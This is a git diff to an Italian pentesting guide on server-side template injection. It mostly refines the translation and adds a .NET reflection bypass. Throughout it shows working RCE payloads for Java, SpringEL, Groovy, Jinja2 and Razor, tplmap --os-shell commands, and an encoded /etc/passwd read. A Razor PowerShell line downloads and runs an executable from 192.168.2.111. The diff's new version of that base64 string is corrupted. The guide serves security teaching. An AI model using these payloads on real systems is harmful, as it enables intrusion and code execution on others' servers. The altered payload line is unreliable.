diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md index 3842c8960..70bbbd887 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/README.md +++ b/src/pentesting-web/ssti-server-side-template-injection/README.md @@ -16,22 +16,22 @@ Ad esempio, un attaccante potrebbe creare una richiesta con un payload come ques ``` http://vulnerable-website.com/?name={{bad-stuff-here}} ``` -Il payload `{{bad-stuff-here}}` è iniettato nel parametro `name`. Questo payload può contenere direttive del template Jinja che consentono all'attaccante di eseguire codice non autorizzato o manipolare il motore del template, potenzialmente guadagnando il controllo sul server. +Il payload `{{bad-stuff-here}}` è iniettato nel parametro `name`. Questo payload può contenere direttive del template Jinja che consentono all'attaccante di eseguire codice non autorizzato o manipolare il motore del template, potenzialmente ottenendo il controllo sul server. -Per prevenire vulnerabilità di iniezione di template lato server, gli sviluppatori dovrebbero assicurarsi che l'input dell'utente sia correttamente sanificato e convalidato prima di essere inserito nei template. Implementare la convalida dell'input e utilizzare tecniche di escaping consapevoli del contesto può aiutare a mitigare il rischio di questa vulnerabilità. +Per prevenire vulnerabilità da iniezione di template lato server, gli sviluppatori dovrebbero assicurarsi che l'input dell'utente sia correttamente sanificato e convalidato prima di essere inserito nei template. Implementare la convalida dell'input e utilizzare tecniche di escaping consapevoli del contesto può aiutare a mitigare il rischio di questa vulnerabilità. ### Rilevamento -Per rilevare l'Iniezione di Template Lato Server (SSTI), inizialmente, **fuzzing del template** è un approccio semplice. Questo comporta l'iniezione di una sequenza di caratteri speciali (**`${{<%[%'"}}%\`**) nel template e l'analisi delle differenze nella risposta del server ai dati regolari rispetto a questo payload speciale. Gli indicatori di vulnerabilità includono: +Per rilevare l'Iniezione di Template Lato Server (SSTI), inizialmente, **fuzzing del template** è un approccio semplice. Questo comporta l'iniezione di una sequenza di caratteri speciali (**`${{<%[%'"}}%\`**) nel template e l'analisi delle differenze nella risposta del server ai dati normali rispetto a questo payload speciale. Gli indicatori di vulnerabilità includono: - Errori generati, che rivelano la vulnerabilità e potenzialmente il motore del template. -- Assenza del payload nel riflesso, o parti di esso mancanti, implicando che il server lo elabora in modo diverso rispetto ai dati regolari. +- Assenza del payload nel riflesso, o parti di esso mancanti, implicando che il server lo elabora in modo diverso rispetto ai dati normali. - **Contesto in chiaro**: Distinguere da XSS controllando se il server valuta le espressioni del template (ad es., `{{7*7}}`, `${7*7}`). - **Contesto di codice**: Confermare la vulnerabilità alterando i parametri di input. Ad esempio, modificare `greeting` in `http://vulnerable-website.com/?greeting=data.username` per vedere se l'output del server è dinamico o fisso, come in `greeting=data.username}}hello` che restituisce il nome utente. #### Fase di identificazione -Identificare il motore del template comporta analizzare i messaggi di errore o testare manualmente vari payload specifici per linguaggio. I payload comuni che causano errori includono `${7/0}`, `{{7/0}}`, e `<%= 7/0 %>`. Osservare la risposta del server a operazioni matematiche aiuta a individuare il motore del template specifico. +Identificare il motore del template comporta analizzare i messaggi di errore o testare manualmente vari payload specifici per linguaggio. I payload comuni che causano errori includono `${7/0}`, `{{7/0}}` e `<%= 7/0 %>`. Osservare la risposta del server a operazioni matematiche aiuta a individuare il motore del template specifico. #### Identificazione tramite payload @@ -60,13 +60,13 @@ python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link" python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade ``` -### [Template Injection Table](https://github.com/Hackmanit/template-injection-table) +### [Tabella di Iniezione dei Template](https://github.com/Hackmanit/template-injection-table) -una tabella interattiva contenente i polyglots di template injection più efficienti insieme alle risposte attese dei 44 motori di template più importanti. +una tabella interattiva contenente i polyglot di iniezione dei template più efficienti insieme alle risposte attese dei 44 motori di template più importanti. -## Exploits +## Sfruttamenti -### Generic +### Generico In questa **wordlist** puoi trovare **variabili definite** negli ambienti di alcuni dei motori menzionati di seguito: @@ -75,7 +75,7 @@ In questa **wordlist** puoi trovare **variabili definite** negli ambienti di alc ### Java -**Java - Basic injection** +**Java - Iniezione di base** ```java ${7*7} ${{7*7}} @@ -155,7 +155,7 @@ $out.read() ### Thymeleaf -In Thymeleaf, un test comune per le vulnerabilità SSTI è l'espressione `${7*7}`, che si applica anche a questo motore di template. Per una potenziale esecuzione remota di codice, possono essere utilizzate espressioni come le seguenti: +In Thymeleaf, un test comune per le vulnerabilità SSTI è l'espressione `${7*7}`, che si applica anche a questo motore di template. Per l'esecuzione remota di codice potenziale, possono essere utilizzate espressioni come le seguenti: - SpringEL: @@ -184,7 +184,7 @@ Considera il seguente frammento di codice, che potrebbe essere suscettibile a sf ``` -Questo indica che se il motore di template elabora questi input in modo improprio, potrebbe portare all'esecuzione di codice remoto accedendo a URL come: +Questo indica che se il motore di template elabora questi input in modo errato, potrebbe portare all'esecuzione di codice remoto accedendo a URL come: ``` http://localhost:8082/(7*7) http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) @@ -203,13 +203,13 @@ el-expression-language.md ``` **Bypass filters** -Multiple variable expressions can be used, if `${...}` doesn't work try `#{...}`, `*{...}`, `@{...}` or `~{...}`. +È possibile utilizzare più espressioni variabili; se `${...}` non funziona, prova `#{...}`, `*{...}`, `@{...}` o `~{...}`. - Leggi `/etc/passwd` ```java ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` -- Script personalizzato per la generazione del payload +- Script personalizzato per la generazione di payload ```python #!/usr/bin/python3 @@ -411,11 +411,11 @@ new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value= this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA=="))) this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120})) ``` -### Other Java +### Altro Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

-- Maggiori informazioni su [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) +- Maggiori informazioni in [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) ## @@ -668,8 +668,8 @@ URLencoded: | **Template** | **Descrizione** | | ------------ | --------------------------------------- | -| | Valuta e restituisce l'output | -| | Valuta e restituisce l'output HTML codificato | +| | Valuta e rende l'output | +| | Valuta e rende l'output HTML codificato | | | Commento | | e | Consenti codice (disabilitato per impostazione predefinita) | @@ -763,7 +763,7 @@ range.constructor( ``` { %x|env| } ``` -**Ulteriori informazioni** +**Maggiore informazione** - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) @@ -812,9 +812,9 @@ Controlla la seguente pagina per imparare trucchi su **bypassare l'esecuzione di ### Jinja2 (Python) -[Official website](http://jinja.pocoo.org) +[Sito ufficiale](http://jinja.pocoo.org) -> Jinja2 è un motore di template completo per Python. Ha supporto completo per unicode, un ambiente di esecuzione sandbox integrato opzionale, ampiamente utilizzato e con licenza BSD. +> Jinja2 è un motore di template completo per Python. Ha pieno supporto per unicode, un ambiente di esecuzione sandbox integrato opzionale, ampiamente utilizzato e con licenza BSD. - `{{7*7}} = Errore` - `${7*7} = ${7*7}` @@ -867,7 +867,7 @@ Controlla la seguente pagina per imparare trucchi su **bypassare l'esecuzione di {{ joiner.__init__.__globals__.os.popen('id').read() }} {{ namespace.__init__.__globals__.os.popen('id').read() }} ``` -**Ulteriori dettagli su come abusare di Jinja**: +**Maggiori dettagli su come abusare di Jinja**: {{#ref}} jinja2-ssti.md @@ -906,7 +906,7 @@ ${x} - `@(1+2)` - `@( //C#Code )` - `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` -- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");` +- `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcgcgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");` Il metodo .NET `System.Diagnostics.Process.Start` può essere utilizzato per avviare qualsiasi processo sul server e quindi creare un webshell. Puoi trovare un esempio di webapp vulnerabile in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp) @@ -928,19 +928,36 @@ Il metodo .NET `System.Diagnostics.Process.Start` può essere utilizzato per avv - [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp) +### .Net Bypass delle restrizioni + +I meccanismi di riflessione .NET possono essere utilizzati per bypassare il blacklisting o classi non presenti nell'assembly. I DLL possono essere caricati a runtime con metodi e proprietà accessibili da oggetti di base. + +I DLL possono essere caricati con: + +- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - dal filesystem. +- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - direttamente dalla richiesta. + +Esecuzione completa del comando: +``` +{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))} +``` +**Ulteriori informazioni** + +- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/) + ### Mojolicious (Perl) Anche se è Perl, utilizza tag come ERB in Ruby. - `<%= 7*7 %> = 49` -- `<%= foobar %> = Errore` +- `<%= foobar %> = Error` ``` <%= perl code %> <% perl code %> ``` ### SSTI in GO -Nel motore di template di Go, la conferma del suo utilizzo può essere effettuata con payload specifici: +Nel motore di template di Go, la conferma del suo utilizzo può essere fatta con payload specifici: - `{{ . }}`: Rivela la struttura dei dati in input. Ad esempio, se viene passato un oggetto con un attributo `Password`, `{{ .Password }}` potrebbe esporlo. - `{{printf "%s" "ssti" }}`: Ci si aspetta che visualizzi la stringa "ssti". @@ -994,7 +1011,7 @@ Se pensi possa essere utile, leggi: - [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap) - [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table) -## Lista di Rilevamento Brute-Force +## Elenco di Rilevamento Brute-Force {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt